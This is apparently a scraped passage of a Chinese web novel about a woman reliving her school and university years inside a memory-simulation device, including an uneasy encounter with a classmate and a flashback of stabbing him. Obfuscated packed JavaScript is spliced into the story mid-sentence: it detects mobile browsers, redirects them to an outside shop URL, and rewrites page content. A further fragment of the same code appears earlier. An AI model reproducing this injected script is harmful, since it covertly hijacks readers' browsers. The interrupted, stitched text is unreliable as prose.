处理小伤的费用虽然不高,但总归是要花钱,加上叶扶英滴落在三蹦子后座上的少量血迹也需要工具来清理。雎安承诺,只要他去处理伤口,除去原先支付的30块,她还会额外支付50块。 可现在,承诺却无法兑现。 “他只是被玻璃碎片轻轻划了一下,护士说用碘伏消毒就可以。” 宋挚将雎安带到伤口护理门诊,里边并没有多少人,基本都是能看见皮下血肉的伤口。雎安跟在宋挚身后,微眯着眼睛,不想直视那些触目惊心的伤口。 察觉到她的害怕,宋挚侧身,用身体挡住她的视线,避免她无意间瞥见什么。 雎安却并未察觉到他的关照,处理伤口的过程中,身体一直紧绷着,即便疼得发出嘶嘶声,眼睛也不敢乱瞟。 宋挚就这么直勾勾地观察她,她也丝毫没有察觉。 直到处理完伤口,宋挚带她离开门诊,她才如释重负。 “这是剩余的钱。” 缴完费后,宋挚将剩下的850块和药品一起递到雎安手里,“收着吧,不收的话,叶老师会过意不去,我妈还会塞月饼给你。” “月饼?”雎安面露疑惑。 “今天是中秋节。”宋挚指着医院挂出的喜迎中秋横幅,道:“我妈随身带着不少月饼的提货券,刚刚那个大叔不愿意收钱,我妈就给了他两张券。他说正好可以提回去给他儿子吃,离开的时候,笑得很开心。” 笑得很开心?那就好。 雎安垂眸,发自内心地笑了出来。 “大叔他人很好,不会因为小事责怪你的。在你来病房前,他还专门跑到我们面前为你说话,告诉我们你这一路是怎么救下的叶老师,夸你是多么的勇敢、多么的冷静,说你虽然有点神神叨叨,但一定是个善良勇敢的好人,希望我们不要错怪你,不要寒了你的心。” 在宋挚向她讲诉的时候,雎安的脑海里很快有了画面。 一个瘦削的男人站在门边,微微佝着背,在众人的注视下面露胆怯,但仍鼓足勇气说出他的所见所想。但又因为语言表达能力有限,在说到关键处时会着急、会卡壳,只得用重复的话语,配合着挥舞的肢体来表达他的观点。 可偏偏就是这种笨挫的表达,往往最能让人感受到,何为情真意切。 “我差点忘了,大叔托我把这三十块还给你,说你是因为救人搭的车,他不收钱。” 宋挚从掏出口袋里被揉得皱巴巴的三张十块钱,塞到雎安手里,“听他说完后,我舅舅就想着要想和你道歉。他当时是被叶老师出事的消息冲昏了头,事情到底怎么回事,警察会查清楚,他确实不该先入为主,上来就逼问你。” 两人走在医院的长廊上,宋挚放缓脚步,询问雎安的意见,“叶老师也说想和你道谢。现在处理完伤口了,你愿意和我再去一趟病房吗?” 他以为,他会看见雎安纠结的表情,却不想回头后对上的却是她泛红的眼眶,“你,你怎么了?” “没什么......”雎安极力平复情绪,明明声音都带了哭腔,还是努力用很平静的语气回复宋挚,“就是有些感动。” “你带我去病房吧,我想见见叶老师。”雎安不想在人前哭,遂微微仰头,将眼泪憋了回去,还朝宋挚展露笑颜,表示自己没事。 宋挚微微张着嘴,原先还在想着能说些什么来安慰女孩,话到嘴边,最终化为和熙的春风,将他的眼角眉梢吹得微微扬起。 从门诊缴费处到住院部的路有些远,坐完电梯还得穿过两条长廊。 雎安侧目,自认为小心谨慎地连连偷瞄他,先不提她记忆中那个带着侵略性气息的宋挚,光是她在华州大学碰见的宋挚,给人的感觉都是心事重重、冷酷沉默的类型,但此刻的宋挚哪怕沉着脸,她都能感受到他内里的温柔和沉静。 少年宋挚和成年宋挚给她的感觉,当真是判若两人。 “怎么了?”宋挚实在无法忽略她的目光。终于在进病房前,开口询问,“我的脸上有东西吗?” “没,没什么。”雎安慌了神,连连摆手,加快步伐走进了病房。 之后,雎安便无暇顾及宋挚的打量,因为光是叶扶英的夸赞都已经让她招架不住。更何况,宋挚的爸妈和爷爷奶奶都是夸夸群的顶梁柱,在他们的夸赞声中,雎安感觉自己在病房里迷失了方向,头脑产生了不实的眩晕感,此刻就像站在一片金灿灿的田野上,所见是金黄的落日,所闻是家禽的吠叫,所感是秋风的凉爽。 她从未肖想过,更从未感受过。 原来,不断地输入正向的情绪价值能让人产生超脱于现实的幸福感。 雎安笑着笑着,眼底再一次含了泪。 叶扶英见状,抬起手,轻柔地抚摸雎安的低垂的头颅。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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如若不是他们的表情自然、语气诚恳,雎安真以为他们是在试探她。 是啊,一个初中生既熟悉汽车构造,面临随时会爆炸的情况,比一个成年人还冷静沉稳,怎么想都不寻常。 她看着宋言林含笑的眉眼,突然残酷地意识到,这不过是一场梦。 她根本就不是一个懵懂无知的初中生。 现实是,她是个工龄两年的社畜,她的叶老师已经死去了十一年,宋言林也变成了严肃沉闷的教授,整日愁眉不展,不似眼前的人这般满面春风。 这一刻,雎安只觉心口一阵钝痛。 “谢谢叔叔阿姨,时间不早了,我得回家了。” 雎安控制着自己的情绪,在眼泪夺眶之际,离开了病房,只是才走出五六十米,眼泪便止不住地往下掉。 “你怎么哭了?”刚上完洗手间的宋挚没想到自己会遇上这一幕,一时间,不知所措。 雎安吸了吸鼻子,挤出一个笑容,可眼泪仍止不住地掉,“没什么,就是觉得……好温暖,叶老师很温暖,你也很温暖,你的家庭也是。” 是她极少能感受到的温柔和爱意。 说完,她听见走廊尽头传出的叫唤声,是邹伟聪和纪小梅的声音。 他们的声音在人来人往的走廊中仍显得十分聒噪,焦急中带着剑拔弩张的怒气,像是熊熊燃起的大火,很快便会烧到她身上。 雎安顾不得悲伤,顾不得感慨,头也不回地跑到没有人的地方,转动手腕,选择时间,离开了这里。 10. 翻墙 晋江文学城 宋言林说过,装置最神奇的一点,就是实验者离开后,装置内的世界会按着被改变后的轨迹有序运行。 也就是说,虽然装置不是现实,但她也不能做得太过,像玩游戏一样打打杀杀是万万不行的。否则,她很可能会毁了这个世界的她。 所以,她应该要处理好她捅下的娄子再离开,可她发现,比起警察的询问,她更怕听到父母的质问和责备。 他们的质问和责备太过刺耳,像有千万只蚂蚁从耳朵钻进心口,啃食她的灵魂,慢慢吞噬掉她的勇气和自信。但她偏偏又知道他们的责备里有爱和关心,正因如此,才更有负担。 她想起她小学六年级那次,班主任留下她和几名同学画板报,一直忙到晚上七点。 她拿着老师给的小礼物兴奋地回家,想要和纪小梅分享喜悦,结果却被锁在门外。 她一直敲门,一直敲门,可纪小梅却只打开里头的那扇木门冷冷地看着她。 她的兴奋和喜悦荡然无存,一边继续拍打着玻璃门,一边着急地解释她是被老师留下来帮忙,纪小梅却始终没有打开隔在她们之间的那道门。 作为惩罚,她在楼梯间蹲了半个小时才被允许进家门。 事情的最后,纪小梅说她以为雎安贪玩、说谎骗她,所以才惩罚雎安。 雎安还记得她当时委屈又难过的心情,哪怕隔着十几年的时光仍能让她的心口有如针扎的痛感,也记得她走进屋后,餐桌上全是还冒着热气的饭菜。 他们的爱和关心宛如刺猬,时常会竖起刺,靠近便会刺伤她,即便内里是柔软的,偏要像牙牙学语的孩子般别扭地说话,好像只有夹杂着冷嘲热讽,爱意才被允许表达。 雎安深深地叹了口气,最终选择避开国庆长假,选择在返校的第一天,也就是10月8号,到叶扶英的宿舍楼下等她。 她的目的很简单,一是完成帮叶扶英包饺子的约定,二是在包饺子的时候打探消息。 事情比她想象得还要顺利。 兴许是对她有所了解,如今还心怀感激,叶扶英对她并不设防。 雎安在捏合饺子皮的时候,以好奇地语气问了几句,叶扶英就将事件进展说了个大概。 现下,凶手仍未归案,查起来很有难度。 叶扶英一边拌着肉馅,一边感慨邓庆生最近总是会不自觉地眉头紧蹙。一旦他露出这幅模样,她便知道他是遇到了极其棘手的事。 现场留下的痕迹并不多,案发地点附近又太过偏僻,并没有安装监控,小车是套牌,兴许半路就被销毁了,她和黄斌作为目击证人又没能提供有用的线索。 警察没抓到人,雎安毫不意外,毕竟这件事在现实中就没破解。 她想要确定的,是警察没有怀疑到她和黄斌头上。尤其是黄斌,她不想害了一个好心人。 而今,她从叶扶英描述中可以确认警察的怀疑对象里没有她和黄斌,彻底放下心来。 “老师。”雎安包完饺子,洗净手后,上前抱住叶扶英,“谢谢你的照顾,我得回家了,希望您以后都平安健康、顺遂无虞~” 叶扶英愣了几秒,随即拍拍雎安的后背,柔声道:“你也是哦,雎安。” 和叶扶英简单地道别后,雎安走出宿舍楼,从楼下往上看,每家每户都亮起了灯,叶扶英的阳台灯是整栋楼里唯一的暖调灯,窗台上还摆放着各种生机勃勃的绿植,亮眼又温暖。 可惜,都不是真的。 雎安眼眶泛红,赶忙整理情绪,收回视线,转身离开了这里。 此番心愿都已了结,她扭转左手手腕三次,在操作面板上输入日期的时候却踌躇不决。 当初冒险参加实验,无非是想解开心结,见见老朋友,尝试错失的校园恋爱。 初中恋爱,未免太早。 雎安看着眼见一个个乱跑乱跳的初中生,尤其是自己曾经暗恋过的小混混男生,那发型、那谈吐、那气质,简直不堪入目! 猝不及防的,她想到了宋挚,如果是她读大学的时候,去追宋挚的话...... 还没往下想,她摇晃着脑袋,很快便否定了这个想法。 时间有限。 雎安想,与其去想虚无的、不曾出现过的爱情,不如去到那些时常在回忆里温暖她的美好瞬间,将当时幸福的感觉铭刻于心。 比如,初二秋游日与朋友泛舟湖上,在德育基地一起烧烤,一起被缭绕的烟雾呛得连连摆手。当然,更不会忘记去到放学路上的小摊贩前,与朋友吃一份酱香饼,分享同一碗豆花,一起进文具店挑选漂亮精致的笔记本,一起因微薄的零花钱而苦恼,一起说期盼早些长大,一起憧憬着离开爸妈、奔赴未知的远方。 ———————— 明月高挂,高三教学楼仍是灯火燎亮,朗朗书声从中传出。 是邹雎安熟悉的夜读声。 晚自习如常进行,但这次她是要逃离教室,体验一次翻墙外出。 身为乖学生典范的她从未试过,只能拜托驾轻就熟的曾滢带带她。 起先,曾滢以为是自己听错了,再三确认后,便爽快地应了下来。 曾滢是她的高中同桌,最爱在晚自习的时候溜出去吃夜宵,一开始是在校内游荡,由于时常会撞见老师,后来便开始往校外的美食一条街跑。 女生行动毕竟慢,很容易被骑电动车的学校保安抓住。 曾滢的策略就是跟着男生们一起出去,校门左边的全是熟门熟路、动作敏捷的男生,校门右边就留两三个男生带女生翻出去。 懂了,声东击西,原来翻墙还要动脑的! 雎安用力点头,表示学到了。 这是雎安第一次翻墙。 当她亲眼看到三个男生仅用十秒就已经在对面准备好接住她们,直接惊得失去表情管理。 在她出神之际,曾滢已经在护栏上催她赶紧行动。偏她运动神经差,动作不灵敏,人不够高,腿自然也不够长,人卡在了上边,出去不得,回来也不行。 外边的男生看得着急上火,上前一步蹬墙助力,将她从上边硬拽了下来。 “谢谢你们,我以后不翻了。” 还是做乖学生好。 雎安汗颜,捂着脸遮掩双颊的红晕,虽然在道谢,视线却是朝下,看着地板说的。 男生们兴许是觉得有趣,好奇一向乖巧的雎安怎么变了?倒没有因为她刚才的毛手毛脚而生气,反而调笑道:“那不行,待会你还得翻回去呢~” “啊?” 闻言,雎安极为丧气地抬头去看那堵墙和已经歪斜的护栏,肠子都悔青了。 她没事翻什么墙啊!果然还是乖学生的人设 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除他以外,他的身边还有很多衣服颜色各异的男生们。他们好奇地打量着雎安和曾滢,应是拿不准两名同时回头的女生中,谁是少年想要叫住的人。 由此,雎安确定叫住她的人,就是那名视线只落在她身上的少年。 他为什么也是蓝毛?难道和冯志是一伙的?还是说,蓝毛是现下流行? 雎安想起不久前,才在装置里碰到的霸凌黄宇恒的蓝毛高中生,暗自腹诽。 “你叫我?”雎安手指自己,对那名少年问道。 少年往前走了一小步,开口问道:“你在这间学校读书?” “你这不问废话吗?看校服就是啊。”少年身旁的男生忍不住抢答。 另一个男生立即接话,语调贱兮兮的,“哎呀,你闭嘴!人家要女生回答,又不是你。” 随即,身旁的起哄声就起来了,“哦~~~~” 霎时间,雎安面红耳赤,本想问他认不认识冯志的话也被抛之脑后。 这种被起哄的感觉很新奇、很冲击,学生时期的她没经历过,毕业后更没有,此刻的她连退两步,心如擂鼓,只想找个遮挡物躲起来,避开所有戏谑的打量。 “我不认识你,你认错人了。我还有事,先走一步。” 雎安实在接受不了这么多异性的打量,根本没多想对方为何会这么问,只想逃离这是非之地。 不等少年再作回应,她拉起同桌的手迅速往外跑,身后很快便传来学校保安的怒吼声,其中还掺杂着男生们熙熙攘攘的打闹声。 奔跑中的雎安看到自己左手的手腕处突然跳出退出提示,于是松开曾滢的手,停下脚步,站在原地。 曾滢则被她一连串古怪的情绪和行为弄得晕头撞向,索性只观察不发言。 提示:请立即返回,点击“确认”后结束旅程。 鬼使神差的,雎安没有选择直接摁下确认,而是选择了回头。 那名少年面上带着狡黠的笑意,正挑衅着围栏内的保安大叔。身旁的男生拍了一下他的后背,少年并不理会。 男生一脸无语,随即大声喊出他的名字,手指雎安的方向,示意少年赶紧看。 雎安隐约听见,他的朋友叫他,卢宇年。 11. 抱着必须杀掉他的决心 第二次实验,邹雎安最想去到高考结束的那天。 在她的记忆中,天空澄碧,纤云不染,阳光从层层叠叠的树叶的间透射下来,打在父母喜上眉梢的面庞上,衬得他们的眼眸似钻石般熠熠生辉。 明明谁都不知道成绩,但谁都松了口气,开开心心的去茶楼吃点心。末了,便心满意足的回家。 那时,父亲还没有失业,母亲也还没有因为生计而愈发消瘦。 最终,雎安并没有去,而是按照宋言林的意思,去到大学开学前五天。 因为这一次,她不能再随意跳转时间。原因很简单,大幅度跳转时间的副作用此刻就作用在了她的身上。 她躺在房间的床上休息,不玩手机,不思考,大脑仍混乱得发晕,想尝试直接睡过去,却屡次失败。 这个情况持续了两天,才慢慢转好。 期间,邹伟聪和纪小梅紧张地筹备着她去大学的行李,每当她站起来缓神,就会被叫去帮忙。 她说自己不舒服,出声拒绝,反倒被驳斥。她觉得委屈,虽然知道他们此刻是在为她忙前忙后,但她心里还是涌起一阵无法言喻的难过。 报到当天。 天气预报正午气温将达到35°,雎安早有准备,毕竟开学第一天就中暑的经历属实难忘。 已经有过一次教训,怎么能重蹈覆辙呢? “这路到底怎么回事啊!” 邹伟聪越开越来气,偏僻路难找也就算了,靠近学校的两公里路尘土飞扬。纪小梅在副驾上看着窗外不说话,但皱紧的眉头说明了一切。 “要是当时你再考多十来分,就不用来这所学校了。”纪小梅开始唉声叹气,毕竟这不是邹雎安的第一志愿,在所有人心里都是将就。 邹伟聪见纪小梅想要开窗,立即制止,“窗外风尘那么大,不能开窗!” “妈妈晕车啊。”雎安见纪小梅整个人都恹恹的,有一段时间靠着车窗不说话了,赶忙去翻包里的清凉油和口罩,“我带了口罩,我们都戴上口罩就可以开窗了。路这么颠簸,妈妈很难受的。” “还不是因为你!”邹伟聪的怒气达到顶点,一点就着,“考的什么破学校!” 雎安被激得火气也上来了,“现在是说这个的时候吗?时光是能倒流吗?” 闻言,纪小梅忍着难受开口,“雎安,你怎么能这么凶你爸?” “还不是为了帮你说话!”雎安委屈至极,直接把百草油和口罩扔到前座,扭头看向窗外,不再多言。 接着又是一通来自邹伟聪的牢骚,他边骂边看指示牌,结果开错了道,绕多了三公里的路。 而车窗始终未开,雎安给的百草油也静静地躺在座椅上无人问津,纪小梅下车的时候直接吐了。 除去这个小插曲,其它都和现实别无二致。 她顺利的来到报到大厅,顺利的和高中同学沈薇偶遇,顺利的和她分到一个宿舍,顺利的见到了另外两名舍友,刘礼晨和韩婕。 正当她为能顺利地送别父母而暗自开心时,纪小梅晕车的劲还没缓过来,就被正午烈日照得头晕耳鸣,如今正扶额坐在食堂的餐桌前,闻到食物的味道,胃里翻江倒海。 “妈,先喝瓶藿香正气水,我去给你打碗粥。” 纪小梅点头,接过并喝下了藿香正气水,浓烈而刺激的药物入喉,一下舒服了不少。 雎安以为自己有过一次经历,入学这天必然顺利,不想自己的麻烦避开了,却转眼变成了纪小梅的麻烦。 她不自觉地叹气,先去排队拿了两个铁碗,而后去到售卖汤水的窗口前排队,排队的时候,还会不停地回头观察纪小梅的情况。 此刻,食堂里人山人海,除去三两成群的师哥师姐,都是家庭出行,用餐人数至少比平时多三倍。 不知道等了多久,到雎安的时候,她只能选择即将见底的芹菜瘦肉粥和打了份不太受欢迎的牛肉面,便艰难地端着烫手的碗往回跑。 许是因为行色匆忙,雎安将碗砸在餐桌上后,才注意到纪小梅的隔壁坐着沈薇一家人。 雎安尴尬地吹了吹手指,便立即上前和沈薇的家人打招呼,回应他们对母亲的问候,顺带得知了刚刚开车送沈薇来学校的男人叫沈邃行。 一个戴着金边眼镜、身着短袖衬衫,极具斯文败类气质的男人。他是沈薇的堂哥。 雎安还是第一见他,以往在现实中,只听沈薇说过好多次这个堂哥,不免有些好奇。 “你怎么了?” 雎安吃面的时候,顺着声音看过去,才注意到沈邃行的右侧还坐着个黑发男人,他蜷缩着身体,不太舒服的样子。刚刚雎安和大家问好的时候,他也没抬头,她还以为是拼桌的人。 见男人还是没回应,沈邃行伸手去推他的肩,男人惊了一下,这才抬头去看沈邃行。 沈邃行有些担心,“你没事吧,怎么一直在冒汗?” 男人无力地摇了摇头,艰难地尝试坐直身体。 雎安直直看着他,细致到他的每个表情和动作,觉得此人颇为眼熟。 随即,几乎是不加思考地问出口:“卢宇年?” 听到自己的名字,卢宇年还是愣了几秒才反应过来,抬眸观察桌上的每一个人,尤其是声音的发出者。 “你们认识?”沈邃行只是随口一问,但纪小梅和沈薇的八卦雷达却同时启动。 雎安见自己的母亲在打量对方,汗毛都竖了起来。 “也不算认识,高中的时候见过几次。”他们之间隔着三个人,雎安只得探头问:“你是不是也中暑了?我这有藿香正气水。” 语毕,她都不等对方回答,直接将从包里翻出一支藿香正气水,递了过去,也没管对方需不需要。 这次,卢雨年迷散的双瞳终于对上了焦,眼睛直勾勾地看着雎安,挤出一个不大好看的笑容,伸手接过药物后道谢,“谢谢,这天太热了。刚刚我没撑伞,现在就中暑了。” 闻言,纪小梅蓦地担心起自己的老公来。 “雎安,你爸还在搬行李,也不打个伞,这大中午的,待会儿不会也中暑吧?” 雎安嗦两口面,无奈道:“我刚刚让老爸先来吃饭,他不肯,我让他打把伞再去拿东西,他也不肯!我说会中暑的,他就说我是乌鸦嘴,还说是我们身体差,我也是没办法。” 一旁的卢宇年静静听着,手里转动着那支藿香正气水,刚刚才坐直的身躯又慢慢蜷缩了下去。他觉得自己的心跳越来越快,心跳声仿佛萦绕在耳,胃里更是翻江倒海,有一股气随时就要冲至喉间。 就在他忍耐不住,几欲冲到洗手间之前,雎安触不及防地和他对上视线,他原本苍白阴郁的面上突然有了笑意,唇角扯出一个极其诡异的弧度,略微放大的瞳孔里是雎安惊愕的表情。 他的笑容,毫无喜悦之意,不像是出于礼貌和示好,倒像是猎户从瞄准镜里打量着一只四处逃窜的猎物,由此露出的势在必得的表情。 雎安呼吸一窒,深觉不适,不寒而栗,僵硬地移开视线后,握着筷子的手都在轻微发抖。 她装作若无其事,扒拉着碗里的面,盯着桌面陷入沉思,以至于卢宇年冲向洗手间的时候,她连头都没抬一下。 或许是有些严重,沈邃行跟过去照顾卢宇年后就没再回来。 吃完午餐,与沈薇一家人道别后,雎安心不在焉地和母亲接着去搬行李,结果看到邹伟聪坐在一颗大树下,还有两位同学坐在他身旁。雎安上前,直接略过想要解释的邹伟聪,询问那两名同学事情的缘由,得知邹伟聪是因为中暑被路过的好心人带到树荫下散热降温。 母亲听毕直摇头,转身和无语的雎安默契对视。 接下来的两天,先是整理宿舍送别父母,再是结交旧友、熟悉校园,雎安过得十分忙碌。加上新校区情况特殊,位置偏僻且尚未完工,附近也没被商业开发,人烟稀少,辅导员一再提醒出校门必须要结伴。 于是,雎安便整日和舍友们待在一起。 “沈薇,你高中说的那个堂哥就是沈遂行吗?” 沈薇明显是不记得自己说过什么了,“我说了什么呀?” “就是开车送你回学校,结果超速被罚款的那个堂哥。” “对啊,就是他,他接我还总迟到呢。” 沈薇正在整理床铺,不明就里,但见雎安欲言又止的模样,又好像悟到了点什么。 “那你堂哥怎么会送你们来?他身边那个男生是我们学校的吗?” 话音刚落,沈薇露出一副果然果然不出她所料的表情,“你是想问我哥,还是想问卢宇年啊?” 雎安猜想,沈薇是误会了。 “不用不好意思啦~据我所知,他是单身。”沈薇放低声音,补充道,“不过,他可不是什么好的男朋友人选。” “哦?”雎安挑眉,一副很感兴趣的模样。 沈薇告诉她,沈邃行之所以会开车送她来学校,有一半原因,是因为卢宇年父母的嘱托。 “扶光和初见雁,这两个品牌,你知道吧?”沈薇拿起桌上的化妆水,朝雎安问道。 雎安点头,“知道。” “这是两个品牌的产品都是安娜维诺化妆品有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15903034|176717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 限公司做出来的,而安娜维诺的老板就是卢宇年的老爸,他家在学校附近还有间工厂呢。” 沈薇朝右边昂了昂头,可惜有墙壁的遮挡,雎安什么都看不见。 “反正,就是他家很有钱的意思。而他本人呢,超级叛逆,无敌爱玩。他爸妈又很忙,没空管他,于是就拜托我哥作为新时代的老妈子,对他严加看管!” 雎安感叹,“你哥看着像个事业有成的商务人士,居然会答应帮这种忙。” “NONONO.”沈薇左右摇晃着食指,道:“才不是帮忙,我哥和卢宇年又不熟,要不是为了获得生意上的帮助,谁会愿意做这种吃力不讨好的事啊?” 原来如此。 雎安了然地点头,转而又想到卢宇年之前挑染的小蓝毛,结合沈薇说的叛逆,不无疑惑地问道:“不过,卢宇年明知道你哥是他父母派来监视他的,他难道没什么反应吗?” 别说是卢宇年,若是她的母亲收买她的舍友,让她的舍友汇报她的情况。她一定会抗拒,会直截了当地避开和她有任何接触。 沈薇爬上床,从蚊帐内探出个头来,“他才不敢呢,花钱大手大脚的人,又没有赚钱的能力,要是因为这点事就反抗父母,那就没有经济来源,只能自食其力喽~” 也是。 雎安点了点头,大脑处理着刚刚获得的一连串信息。 “我告诉你。”沈薇突然神秘兮兮地压低声音,脸贴在蚊帐上,“我和卢宇年第一次见面,他就送给我一万多的双肩包。” 雎安不加思索地问出口:“他喜欢你啊?” 沈薇像突然被蛋黄噎住,随即十分无语地反驳,“怎么可能啊?!卢宇年哦,虽然还没到见一个爱一个的程度,但他的暧昧对象可多了。” 雎安托着腮道:“我又不了解他嘛~而且我们这个年纪的女生,不都是颜控吗?我觉得以他的颜值,没有很大的吸引力啊。” 口是心非! 沈薇一副我看你吹的表情,“人家五官端正,又很会打扮自己,加上出手大方,有很多工作了好几年的姐姐都在追他。” “哦~”雎安的嘴张成了O型,一副我懂了的表情,转而想到他曾经的非主流造型,又联想到他前两日的扮相,不得不说,现在他的造型品味确实比以往好太多。 沈薇苦口婆心道:“所以我才劝你别和他接触太多,喜欢这种男生会很累很难过的。” 见雎安张着嘴,还想问些什么,沈薇警告道:“别问了啊,对男人有过度的好奇心是很恐怖的事!” 这话说的,弄得自己和情感专家似的。 雎安刚想调笑她,突然意识到她们现在还不算熟络,最好不要随便开玩笑。 这时,走廊处传来女生的嬉笑声。 是韩婕和刘礼晨从食堂回来了。雎安识趣地结束话题,起身打开一盒葱香排骨面,开始往里头加热水。 她失了神。 因为卢宇年,但又不单纯是因为他。 在他以极扭曲的面部表情看向她的时候,她的后脑勺被什么电了一下,一阵酥麻。 这种感觉她并不陌生,在装置里第一次听见宋挚的姓名时,她便有相同的感觉。只要这个感觉一出现,紧接着,她的脑中便会出现一段是她但又不属于她的记忆。 这次,地点是绿树成荫的露天停车场里。 卢宇年以张狂无畏的姿态说着不堪入耳的话,最后他勾了勾食指,让她过去。她听了他的话,顺从地往前走,就在她刚走到他面前的瞬间,他一把抓起她的手,将她整个人往前带,同时示意她跪下。 只是,她尚未完全跪下去,另一只手便已迅雷不及掩耳之势、果断捅了过去。 卢宇年还没反应过来,但腹部的痛疼提醒着他,这一切都是真的。他痛得龇牙咧嘴,捂着腹部连退两步,一脸不可置信,“你!” 在他震惊的目光中,她向前两步,极为镇定地将小刀从他的体内拔出。 很快,鲜血喷溅得哪里都是。她的脸,她的手,她的衣服,脚踩的灰白色地砖都无一幸免。但她连眼睛都没有眨一下,没有慌张,没有惊恐,眼中闪着凌厉且坚定的光。 雎安确定,她不是一时冲动,而是抱着必须杀掉他的决心动的手。 “雎安?!” 雎安的思绪被打断,惊得缩了下脖子。 “热水都出来啦!” 在刘礼晨直冲耳膜的惊呼声中,雎安赶忙将倾斜的水壶摆正,左手捂着上下起伏的胸口,笑着叹了口气,紧绷的神经反倒松了下来。 她想,反正都不是真的。 12. 火药味 尽管雎安牢记“不是真的”的四字箴言,但仍迫不及待地想要回到现实,告诉宋言林她脑中所有的奇怪记忆,哪怕和宋挚有关。 第一次完成实验的时候,她犹豫着没说,是因为记忆的内容只是难以启齿,但无伤大雅。可现下却进展成了杀人犯罪,是她完全不能接受的。 总不能是她失去的记忆吧? 雎安很快否认这个可能。 在她的印象中,她并没有缺失一大段记忆。就算假设是她失忆了,现实里宋挚看她的眼神十分淡漠,并不是喜欢她的样子,这也解释不通。 再者,她要是真杀了人,早该去蹲大牢了,怎么可能每天在市中心通勤,还能不被警察通缉。 思及此,她的脑中闪现出一个她更不能接受的可能。 那就是,这些是未来会发生的事。 虽然荒唐,但她就是有种不祥的预感,一直在抓挠她的心。 问清楚这些记忆是怎么回事是当务之急。 可她既不能随意跳转时间,更不能提前退出,只能在装置里度过剩下的一天,完成这一次实验。 她意识到,现下越是急、越是无用,反倒很快就镇静了下来。 “今天下午要一起去市区逛逛吗?”沈薇从她厚重的床帘里探出个头来,询问正在吃午餐的三个舍友,“听说嘉源广场有个面包节,还邀请了很多美食博主去现场哦~” “都有谁啊?”雎安捧场地问道。 闻言,沈薇点开海报,将大拇指和食指放在屏幕上向外一划,开始念那些稀奇古怪的艺名。 韩婕明显兴趣缺缺,刘礼晨也没什么反应。只有雎安在听到一众网红面包店的店名和“童敏”这个人名后,表现得极为兴奋。 “我们现在就去吧!”雎安跑到沈薇床前,“去晚了的话,热门款就要售罄了。我现在就去涂防晒、换衣服。” 没想到雎安如此雷厉风行,只是随口一问的沈薇愣在床上,撑起身子往外探,再次询问韩婕和刘礼晨要不要去。 答案显而易见。 韩婕直接说不去。刘礼晨犹豫了十几分钟后,以阳光过于刺眼为由,拒绝了。 “算了~还是在宿舍舒服。”沈薇心虚地看向已经换好衣服的雎安,“你也别去了吧,这个天很容易中暑的。” 最终,在沈薇不安的注视下,雎安选择了出门。 对面包节感兴趣不是主要原因,她是想出去走走,分散注意力。出门前,为了缓解尴尬的气氛,她还特地解释,说面包节有她喜欢的博主,还说会带几款面包给她们尝尝。 虽然,她心里是失望的,但她并没有表露。 她反复告诫自己,不要过多思虑,毕竟她和她们之间的友谊是不同步的。在她们的世界里,她们和她并不熟络,一起外出可能会很尴尬。 下午两点。 雎安刚抵达市区的嘉源广场,一下车,便看到入口处摆放的黄色气球下全是攒动的人头。广场两侧也不似以往那般空旷,全是商家临时搭建的商铺,摊位前基本都绘有可爱生动的卡通人物像,密密麻麻地贴在一起,除去事先留出的通道,没有一点空余。 原来2017年就有这么多人喜欢面包和咖啡了吗? 在雎安的记忆里,那时的她还在伸手问家里要钱,就算偶尔会外出打工,赚得钱也少得可怜。所以她大学时从未关注过这些,最多也就喝点走平价路线的奶茶。 雎安惊叹之余,自觉地往外圈走,在广场外围闲逛起来。她想,就算面包吃不成,能见到童敏,也不枉这一番折腾。 童敏是一名最近小有名气的烹饪和烘焙博主,精通各类中西餐,还特别喜欢创新,就算偶有翻车,也能以幽默风趣的玩笑揭过去,然后不断精进,以此鼓励从未下过厨的新人。 像雎安这类很讨厌下厨的人,也没有做饭的天赋,看她的视频不是出于学习的目的,而是被童敏温暖的视频风格和精湛自信的厨艺所吸引。她做事时专注认真的模样,好像不论什么奇怪的食材到她手上都不成问题,生活上任何的麻烦她都能利落地解决。 高三的雎安,曾陷进疯狂做题、而后自我怀疑的死循环,在她感到前所未有的迷茫和疑惑时,拖着疲惫的身躯回到宿舍后,总会偷摸着拿出藏在枕下的手机,点开她的视频,汲取能量。 可以说,她曾是她的精神支柱,是她的偶像。 此时,雎安在烈日下排了很久的队,就为了在童敏自创的品牌摊位前买两个招牌素贝,从而获得亲签的机会。等到她的时候,摊位上的面包都被一扫而空,就连手作咖啡都已全部售罄。 失落的情绪一下笼罩了她,让她对其它店铺兴趣全无,她跑去商场里的书店吹空调,悻悻地去到对面商场的洗手间,准备小解后回学校。 这时,一名穿着条纹长袖衫的女人从厕所隔间里出来,走到正在洗手的雎安身旁,打开收龙头,低头洗手。 “你是童敏吗?“在怀疑和纠结中,雎安上前询问,语气里是掩盖不住的兴奋,”我很喜欢你拍的视频,每期都会点赞收藏。” “谢谢你的喜欢。”雎安的热情感染了童敏,原本疲惫不堪的她,脸上有了笑意,“我会继续努力的。” 说完,童敏朝雎安点头示意,离开了洗手间。 偶遇得太突然,时间又太短暂。 等雎安反应过来的时候,早已不见童敏的身影。 接受了夏日烈阳的烘烤,此刻,她目睹夕阳余晖温柔地撒向大地,将一众冷色调的高楼大厦变得金灿灿的,眼前所有事物的表层都像是铺上了细碎的黄金,好似动画片里的场景。 雎安在商场里的书店叹了两小时空调后,走到附近的公交站台候车,看着眼前的美景,望着远方的落霞,依然觉得失落,还有些惆怅和担忧。 兴许是她想象中的童敏过于完美,亦或是社媒上的童敏有人设、有包装。 社媒上的童敏,眼神温柔且坚定,极具亲和力和活力,身体里像是蕴含着无限的能量。但她刚刚见到的人,周身死气沉沉,眼神黯淡无光,虽然很礼貌地回应了她,但给她的是冷漠的疏离感,和活力、亲和力之类的字眼完全不搭边。 